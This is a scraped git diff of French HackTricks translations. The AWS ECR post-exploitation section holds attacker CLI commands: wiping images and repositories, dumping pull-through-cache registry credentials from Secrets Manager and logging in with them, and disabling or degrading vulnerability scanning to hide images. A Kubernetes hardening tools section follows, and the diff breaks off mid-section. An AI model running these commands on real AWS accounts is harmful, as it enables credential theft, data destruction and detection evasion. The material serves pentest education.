mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-21 06:43:08 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
|||||||
--registry-id 653711331788 \
|
--registry-id 653711331788 \
|
||||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||||
```
|
```
|
||||||
Après avoir téléchargé les images, vous devez **les vérifier pour des informations sensibles** :
|
Après avoir téléchargé les images, vous devriez **les vérifier pour des informations sensibles**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
|||||||
|
|
||||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||||
|
|
||||||
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une lifecycle policy pour supprimer toutes les images du dépôt** puis **supprimer l'ensemble du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt.
|
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images dans le dépôt** puis **supprimer l'intégralité du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt.
|
||||||
```bash
|
```bash
|
||||||
# Create a JSON file with the malicious lifecycle policy
|
# Create a JSON file with the malicious lifecycle policy
|
||||||
echo '{
|
echo '{
|
||||||
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
|||||||
# Delete multiple images from the ECR public repository
|
# Delete multiple images from the ECR public repository
|
||||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||||
```
|
```
|
||||||
### Exfiltrer les identifiants des registres upstream depuis ECR Pull‑Through Cache (PTC)
|
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||||
|
|
||||||
Si ECR Pull‑Through Cache est configuré pour des registres upstream authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un accès large en lecture à Secrets Manager, ce qui permet l'exfiltration des identifiants et leur réutilisation en dehors d'AWS.
|
Si ECR Pull‑Through Cache est configuré pour des upstream registries authentifiées (Docker Hub, GHCR, ACR, etc.), les upstream registry credentials sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un large accès en lecture à Secrets Manager, permettant credential exfiltration et reuse en dehors d'AWS.
|
||||||
|
|
||||||
Prérequis
|
Prérequis
|
||||||
- secretsmanager:ListSecrets
|
- secretsmanager:ListSecrets
|
||||||
- secretsmanager:GetSecretValue
|
- secretsmanager:GetSecretValue
|
||||||
|
|
||||||
Énumérer les secrets PTC potentiels
|
Énumérer les secrets PTC candidats
|
||||||
```bash
|
```bash
|
||||||
aws secretsmanager list-secrets \
|
aws secretsmanager list-secrets \
|
||||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||||
--output text
|
--output text
|
||||||
```
|
```
|
||||||
Dump les secrets découverts et parse les champs communs
|
Extraire les secrets découverts et analyser les champs communs
|
||||||
```bash
|
```bash
|
||||||
for s in $(aws secretsmanager list-secrets \
|
for s in $(aws secretsmanager list-secrets \
|
||||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||||
@@ -114,17 +114,17 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
|||||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
Optionnel : valider les leaked creds contre l'upstream (login en lecture seule)
|
Optionnel : valider les leaked creds contre l'upstream (read‑only login)
|
||||||
```bash
|
```bash
|
||||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||||
```
|
```
|
||||||
Impact
|
Impact
|
||||||
- La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables du registre upstream (nom d'utilisateur/mot de passe ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream.
|
- La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables pour le registre upstream (username/password or token), qui peuvent être exploités en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream.
|
||||||
|
|
||||||
|
|
||||||
### Dissimulation au niveau du registre : désactiver ou rétrograder le scan via `ecr:PutRegistryScanningConfiguration`
|
### Registry-level stealth: désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration`
|
||||||
|
|
||||||
Un attaquant disposant de permissions ECR au niveau du registre peut réduire silencieusement ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles pushes d'images d'être analysées automatiquement, dissimulant des images vulnérables ou malveillantes.
|
Un attaquant disposant de permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en configurant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles images poussées d'être analysées automatiquement, masquant ainsi des images vulnérables ou malveillantes.
|
||||||
|
|
||||||
Prérequis
|
Prérequis
|
||||||
- ecr:PutRegistryScanningConfiguration
|
- ecr:PutRegistryScanningConfiguration
|
||||||
@@ -132,7 +132,7 @@ Prérequis
|
|||||||
- ecr:PutImageScanningConfiguration (optionnel, par dépôt)
|
- ecr:PutImageScanningConfiguration (optionnel, par dépôt)
|
||||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
|
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
|
||||||
|
|
||||||
Rétrogradation à l'échelle du registre vers manuel (pas d'analyses automatiques)
|
Rétrogradation à l'échelle du registre vers manuel (aucun scan automatique)
|
||||||
```bash
|
```bash
|
||||||
REGION=us-east-1
|
REGION=us-east-1
|
||||||
# Read current config (save to restore later)
|
# Read current config (save to restore later)
|
||||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
|||||||
# Optional: will error with ScanNotFoundException if no scan exists
|
# Optional: will error with ScanNotFoundException if no scan exists
|
||||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||||
```
|
```
|
||||||
Optionnel : dégrader davantage à l’échelle du dépôt
|
Optionnel : dégrader davantage au niveau du dépôt
|
||||||
```bash
|
```bash
|
||||||
# Disable scan-on-push for a specific repository
|
# Disable scan-on-push for a specific repository
|
||||||
aws ecr put-image-scanning-configuration \
|
aws ecr put-image-scanning-configuration \
|
||||||
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
|||||||
--image-scanning-configuration scanOnPush=false
|
--image-scanning-configuration scanOnPush=false
|
||||||
```
|
```
|
||||||
Impact
|
Impact
|
||||||
- Les nouvelles images poussées dans le registre ne sont pas analysées automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée.
|
- Les nouveaux pushs d'images dans tout le registre ne sont pas analysés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée.
|
||||||
|
|
||||||
|
|
||||||
### Dégradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||||
|
|
||||||
Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en basculant le moteur de scan BASIC du défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas l'analyse mais peut modifier de manière significative les résultats/la couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les analyses uniquement manuelles.
|
Réduisez la qualité de détection des vulnérabilités pour l'ensemble du registre en basculant le moteur de scan BASIC du réglage par défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas le scan, mais peut modifier de façon significative les résultats/couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les scans uniquement manuels.
|
||||||
|
|
||||||
Prérequis
|
Requirements
|
||||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||||
|
|
||||||
Impact
|
Impact
|
||||||
- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est réglé sur `CLAIR`, de sorte que les scans BASIC suivants s'exécuteront avec le moteur dégradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
- La configuration du registre `BASIC_SCAN_TYPE_VERSION` est définie sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur rétrogradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
||||||
|
|
||||||
Étapes
|
Étapes
|
||||||
```bash
|
```bash
|
||||||
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
|||||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||||
```
|
```
|
||||||
|
### Scanner les images ECR pour les vulnérabilités
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||||
|
|
||||||
|
region=<region>
|
||||||
|
profile=<aws_profile>
|
||||||
|
|
||||||
|
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||||
|
|
||||||
|
# Configure docker creds
|
||||||
|
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||||
|
|
||||||
|
while read -r repo; do
|
||||||
|
echo "Working on repository $repo"
|
||||||
|
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||||
|
if [ -z "$digest" ]
|
||||||
|
then
|
||||||
|
echo "No images! Empty repository"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||||
|
echo "Pulling $url"
|
||||||
|
docker pull $url
|
||||||
|
echo "Scanning $url"
|
||||||
|
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||||
|
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||||
|
# echo "Removing image $url"
|
||||||
|
# docker image rm $url
|
||||||
|
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||||
|
```
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Renforcement de Kubernetes
|
# Kubernetes Durcissement
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||||
|
|
||||||
Il effectuera **plusieurs contrôles de conformité sur le cluster Kubernetes**. Il inclut le support pour CIS, National Security Agency (NSA) et Cybersecurity and Infrastructure Security Agency (CISA) Cybersecurity technical report pour le renforcement de Kubernetes.
|
Il effectuera **plusieurs contrôles de conformité sur le cluster Kubernetes**. Il inclut la prise en charge des recommandations CIS, du National Security Agency (NSA) et du Cybersecurity and Infrastructure Security Agency (CISA) — rapport technique sur la cybersécurité pour le durcissement de Kubernetes.
|
||||||
```bash
|
```bash
|
||||||
# Install Steampipe
|
# Install Steampipe
|
||||||
brew install turbot/tap/powerpipe
|
brew install turbot/tap/powerpipe
|
||||||
@@ -27,30 +27,30 @@ powerpipe server
|
|||||||
```
|
```
|
||||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||||
|
|
||||||
[**Kubescape**](https://github.com/armosec/kubescape) est un outil open-source pour K8s offrant une interface unique multi-cloud pour K8s, incluant l'analyse de risques, la conformité de sécurité, le visualiseur RBAC et l'analyse des vulnérabilités des images. Kubescape scanne les clusters K8s, les fichiers YAML et les HELM charts, détecte les mauvaises configurations selon plusieurs frameworks (tels que le [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), le [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), les vulnérabilités logicielles et les violations RBAC (role-based-access-control) dès les premières étapes du pipeline CI/CD, calcule instantanément un score de risque et affiche les tendances de risque au fil du temps.
|
[**Kubescape**](https://github.com/armosec/kubescape) est un outil open-source K8s offrant une vue centralisée multi-cloud pour K8s, incluant l'analyse des risques, la conformité de sécurité, un visualiseur RBAC et l'analyse des vulnérabilités d'images. Kubescape scanne les clusters K8s, les fichiers YAML et les HELM charts, détectant les mauvaises configurations selon plusieurs frameworks (tels que le [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , le [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), les vulnérabilités logicielles et les violations RBAC (role-based-access-control) dès les premières phases du pipeline CI/CD, calcule instantanément un score de risque et affiche les tendances de risque dans le temps.
|
||||||
```bash
|
```bash
|
||||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||||
kubescape scan --verbose
|
kubescape scan --verbose
|
||||||
```
|
```
|
||||||
### [**Popeye**](https://github.com/derailed/popeye)
|
### [**Popeye**](https://github.com/derailed/popeye)
|
||||||
|
|
||||||
[**Popeye**](https://github.com/derailed/popeye) est un utilitaire qui scanne un cluster Kubernetes en production et **signale les problèmes potentiels liés aux ressources déployées et aux configurations**. Il assainit votre cluster en se basant sur ce qui est déployé et non sur ce qui est présent sur le disque. En scannant votre cluster, il détecte les mauvaises configurations et vous aide à vous assurer que les bonnes pratiques sont en place, évitant ainsi des maux de tête futurs. Il vise à réduire la surcharge cognitive \_over_load que l'on rencontre lors de l'exploitation d'un cluster Kubernetes en conditions réelles. De plus, si votre cluster utilise un metric-server, il signale les éventuelles sous/sur-allocation de ressources et tente de vous avertir si votre cluster venait à manquer de capacité.
|
[**Popeye**](https://github.com/derailed/popeye) est un utilitaire qui analyse un cluster Kubernetes en production et **signale les problèmes potentiels liés aux ressources déployées et aux configurations**. Il assainit votre cluster en se basant sur ce qui est déployé et non sur ce qui est présent sur le disque. En scannant votre cluster, il détecte les mauvaises configurations et vous aide à garantir que les bonnes pratiques sont en place, évitant ainsi des maux de tête ultérieurs. Il vise à réduire la charge cognitive \_over_load rencontrée lors de l'exploitation d'un cluster Kubernetes en environnement réel. De plus, si votre cluster utilise un metric-server, il signale les éventuelles sur/sous-allocations de ressources et tente de vous avertir si votre cluster manque de capacité.
|
||||||
|
|
||||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||||
|
|
||||||
L'outil [**kube-bench**](https://github.com/aquasecurity/kube-bench) vérifie si Kubernetes est déployé de manière sécurisée en exécutant les contrôles documentés dans le [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
L'outil [**kube-bench**](https://github.com/aquasecurity/kube-bench) vérifie si Kubernetes est déployé de manière sécurisée en exécutant les contrôles documentés dans le [**CIS Kubernetes Benchmark**].\
|
||||||
Vous pouvez choisir de :
|
Vous pouvez choisir de :
|
||||||
|
|
||||||
- exécuter kube-bench depuis l'intérieur d'un conteneur (en partageant le namespace PID avec l'hôte)
|
- exécuter kube-bench depuis l'intérieur d'un conteneur (en partageant le PID namespace avec l'hôte)
|
||||||
- exécuter un conteneur qui installe kube-bench sur l'hôte, puis exécuter kube-bench directement sur l'hôte
|
- exécuter un conteneur qui installe kube-bench sur l'hôte, puis lancer kube-bench directement sur l'hôte
|
||||||
- installer les derniers binaires depuis la [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
- installer les derniers binaires depuis la [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||||
- le compiler depuis les sources.
|
- le compiler depuis les sources.
|
||||||
|
|
||||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||||
|
|
||||||
**[DEPRECATED]** L'outil [**kubeaudit**](https://github.com/Shopify/kubeaudit) est un outil en ligne de commande et un package Go pour **auditer des clusters Kubernetes** sur différentes problématiques de sécurité.
|
**[OBSOLÈTE]** L'outil [**kubeaudit**](https://github.com/Shopify/kubeaudit) est un outil en ligne de commande et un package Go pour **auditer des clusters Kubernetes** concernant diverses problématiques de sécurité.
|
||||||
|
|
||||||
Kubeaudit peut détecter s'il s'exécute à l'intérieur d'un conteneur dans un cluster. Si c'est le cas, il tentera d'auditer toutes les ressources Kubernetes de ce cluster :
|
Kubeaudit peut détecter s'il s'exécute à l'intérieur d'un conteneur dans un cluster. Dans ce cas, il tentera d'auditer toutes les ressources Kubernetes de ce cluster :
|
||||||
```
|
```
|
||||||
kubeaudit all
|
kubeaudit all
|
||||||
```
|
```
|
||||||
@@ -58,17 +58,17 @@ Cet outil possède également l'argument `autofix` pour **corriger automatiqueme
|
|||||||
|
|
||||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||||
|
|
||||||
**[DÉPRÉCATÉ]** L'outil [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) recherche des faiblesses de sécurité dans les clusters Kubernetes. L'outil a été développé pour accroître la sensibilisation et la visibilité des problèmes de sécurité dans les environnements Kubernetes.
|
**[DÉPRÉCIÉ]** L'outil [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) recherche des faiblesses de sécurité dans les clusters Kubernetes. L'outil a été développé pour accroître la sensibilisation et la visibilité des problèmes de sécurité dans les environnements Kubernetes.
|
||||||
```bash
|
```bash
|
||||||
kube-hunter --remote some.node.com
|
kube-hunter --remote some.node.com
|
||||||
```
|
```
|
||||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||||
|
|
||||||
[Trivy](https://github.com/aquasecurity/trivy) dispose de scanners qui recherchent des problèmes de sécurité, et des cibles où il peut trouver ces problèmes :
|
[Trivy](https://github.com/aquasecurity/trivy) dispose de scanners qui recherchent des problèmes de sécurité, et des cibles où ils peuvent trouver ces problèmes :
|
||||||
|
|
||||||
- Image de conteneur
|
- Image de conteneur
|
||||||
- Système de fichiers
|
- Système de fichiers
|
||||||
- Dépôt Git (à distance)
|
- Dépôt Git (remote)
|
||||||
- Image de machine virtuelle
|
- Image de machine virtuelle
|
||||||
- Kubernetes
|
- Kubernetes
|
||||||
|
|
||||||
@@ -77,46 +77,46 @@ kube-hunter --remote some.node.com
|
|||||||
|
|
||||||
**[Semble non maintenu]**
|
**[Semble non maintenu]**
|
||||||
|
|
||||||
[**Kubei**](https://github.com/Erezf-p/kubei) est un outil d'analyse des vulnérabilités et du CIS Docker benchmark qui permet aux utilisateurs d'obtenir une évaluation précise et immédiate du risque de leurs clusters Kubernetes. Kubei scanne toutes les images utilisées dans un cluster Kubernetes, y compris les images des pods applicatifs et des pods système.
|
[**Kubei**](https://github.com/Erezf-p/kubei) est un outil de scan de vulnérabilités et de benchmark CIS Docker qui permet aux utilisateurs d'obtenir une évaluation précise et immédiate du risque de leurs clusters kubernetes. Kubei scanne toutes les images utilisées dans un cluster Kubernetes, y compris les images des pods d'application et des pods système.
|
||||||
|
|
||||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||||
|
|
||||||
[**KubiScan**](https://github.com/cyberark/KubiScan) est un outil qui scanne les clusters Kubernetes à la recherche de permissions risquées dans le modèle d'autorisation Role-based access control (RBAC) de Kubernetes.
|
[**KubiScan**](https://github.com/cyberark/KubiScan) est un outil pour scanner les clusters Kubernetes à la recherche de permissions risquées dans le modèle d'autorisation Role-based access control (RBAC) de Kubernetes.
|
||||||
|
|
||||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||||
|
|
||||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) est un outil conçu pour tester d'autres types de contrôles à haut risque comparé aux autres outils. Il dispose principalement de 3 modes différents :
|
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) est un outil conçu pour tester d'autres types de contrôles à haut risque comparé aux autres outils. Il possède principalement 3 modes différents :
|
||||||
|
|
||||||
- **`find-role-relationships`** : qui trouvera quels rôles AWS s'exécutent dans quels pods
|
- **`find-role-relationships`**: Qui trouvera quels rôles AWS s'exécutent dans quels pods
|
||||||
- **`find-secrets`** : qui tente d'identifier les secrets dans les ressources K8s telles que Pods, ConfigMaps et Secrets.
|
- **`find-secrets`**: Qui tente d'identifier des secrets dans les ressources K8s telles que Pods, ConfigMaps et Secrets.
|
||||||
- **`test-imds-access`** : qui essaiera d'exécuter des pods et d'accéder aux metadata v1 et v2. ATTENTION : cela lancera un pod dans le cluster, soyez très prudent car vous ne voudrez peut‑être pas faire cela !
|
- **`test-imds-access`**: Qui essaiera de lancer des pods et d'accéder aux metadata v1 et v2. ATTENTION : Cela exécutera un pod dans le cluster, soyez très prudent car peut-être vous ne voulez pas faire cela !
|
||||||
|
|
||||||
## **Audit du code IaC**
|
## **Auditer le code IaC**
|
||||||
|
|
||||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||||
|
|
||||||
[**KICS**](https://github.com/Checkmarx/kics) trouve **des vulnérabilités de sécurité**, des problèmes de conformité et des mauvaises configurations d'infrastructure dans les **solutions Infrastructure as Code** suivantes : Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM et les spécifications OpenAPI 3.0
|
[**KICS**](https://github.com/Checkmarx/kics) trouve des vulnérabilités de sécurité, des problèmes de conformité et des mauvaises configurations d'infrastructure dans les solutions Infrastructure as Code suivantes : Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, et les spécifications OpenAPI 3.0
|
||||||
|
|
||||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||||
|
|
||||||
[**Checkov**](https://github.com/bridgecrewio/checkov) est un outil d'analyse statique de code pour l'infrastructure-as-code.
|
[**Checkov**](https://github.com/bridgecrewio/checkov) est un outil d'analyse statique de code pour l'infrastructure-as-code.
|
||||||
|
|
||||||
Il scanne l'infrastructure cloud provisionnée en utilisant [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ou [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) et détecte les mauvaises configurations de sécurité et de conformité en utilisant une analyse basée sur les graphes.
|
Il scanne l'infrastructure cloud provisionnée en utilisant [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ou [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) et détecte les erreurs de configuration de sécurité et de conformité en utilisant une analyse basée sur un graphe.
|
||||||
|
|
||||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||||
|
|
||||||
[**kube-score**](https://github.com/zegl/kube-score) est un outil qui effectue une analyse statique du code de vos définitions d'objets Kubernetes.
|
[**kube-score**](https://github.com/zegl/kube-score) est un outil qui effectue une analyse statique des définitions d'objets Kubernetes.
|
||||||
|
|
||||||
To install:
|
Pour installer :
|
||||||
|
|
||||||
| Distribution | Commande / Lien |
|
| Distribution | Commande / Lien |
|
||||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||||
| Binaires précompilés pour macOS, Linux, et Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
| Binaries précompilés pour macOS, Linux, et Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||||
| Homebrew (macOS et Linux) | `brew install kube-score` |
|
| Homebrew (macOS et Linux) | `brew install kube-score` |
|
||||||
| [Krew](https://krew.sigs.k8s.io/) (macOS et Linux) | `kubectl krew install score` |
|
| [Krew](https://krew.sigs.k8s.io/) (macOS et Linux) | `kubectl krew install score` |
|
||||||
|
|
||||||
## Outils pour analyser les fichiers YAML & Helm Charts
|
## Outils pour analyser les fichiers YAML et les Helm Charts
|
||||||
|
|
||||||
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
||||||
```bash
|
```bash
|
||||||
@@ -162,41 +162,113 @@ helm template chart /path/to/chart \
|
|||||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||||
| kubesec scan -
|
| kubesec scan -
|
||||||
```
|
```
|
||||||
|
## Scan des problèmes de dépendances
|
||||||
|
|
||||||
|
### Scan des images
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||||
|
echo "All images found: $images"
|
||||||
|
echo ""
|
||||||
|
echo ""
|
||||||
|
for image in $images; do
|
||||||
|
# Run trivy scan and save JSON output
|
||||||
|
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||||
|
# Extract binary targets that have vulnerabilities
|
||||||
|
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||||
|
if [ -n "$binaries" ]; then
|
||||||
|
echo "- **Image:** $image"
|
||||||
|
while IFS= read -r binary; do
|
||||||
|
echo " - **Binary:** $binary"
|
||||||
|
jq -r --arg target "$binary" '
|
||||||
|
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||||
|
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||||
|
' /tmp/result.json
|
||||||
|
done <<< "$binaries"
|
||||||
|
echo ""
|
||||||
|
echo ""
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
```
|
||||||
|
### Scan Helm charts
|
||||||
|
```bash
|
||||||
